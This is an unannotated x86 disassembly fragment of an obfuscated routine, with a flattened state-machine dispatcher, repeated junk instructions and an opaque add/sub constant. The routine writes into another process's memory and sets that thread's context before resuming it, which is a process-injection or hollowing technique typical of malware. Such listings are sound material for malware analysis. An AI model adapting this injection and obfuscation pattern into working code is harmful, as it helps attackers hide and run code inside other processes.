mov dword [ebp - 0x1ac], 0x19c4cac7
jmp 0x10010889
mov dword [ebp - 0x1ac], 0x4229bcab
jmp 0x10010889
mov eax, dword [ebp - 0x19c]
mov eax, dword [eax + 0x54]
mov ecx, dword [ebp - 0x194]
mov edx, dword [ebp - 0x18c]
mov edx, dword [edx]
mov esi, dword [ebp - 0x20]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov dword [ebp - 0x1ac], 0x35bf6e1e
jmp 0x10010889
mov dword [ebp - 0x1ac], 0x7ed6f5e0
jmp 0x10010889
mov eax, dword [ebp - 0x16c]
mov dword [ebp - 0x1ac], 0x23ca7904
jmp 0x10010889
mov dword [ebp - 0x1ac], 0xda61aafd
jmp 0x10010889
mov dword [ebp - 0x1ac], 0x21336211
jmp 0x10010889
mov dword [ebp - 0x1ac], 0x843ee5d5
jmp 0x10010889
mov dword [ebp - 0x1ac], 0xe4706c68
jmp 0x10010889
mov dword [ebp - 0x1ac], 0x4458e6b0
jmp 0x10010889
mov eax, dword [ebp - 0x1c]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x20]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x1ac], 0xd9ba566f
jmp 0x10010889
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x68]
add ecx, 0xb955fdec
add ecx, eax
sub ecx, 0xb955fdec
mov eax, dword [ebp - 0x1a0]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0x1a0]
mov ecx, dword [ebp - 0x1c]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtSetContextThread
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call sub.ntdll.dll_NtResumeThread
mov dword [ebp - 0x1ac], 0xbfbc6c24
jmp 0x10010889
jmp 0x100091e0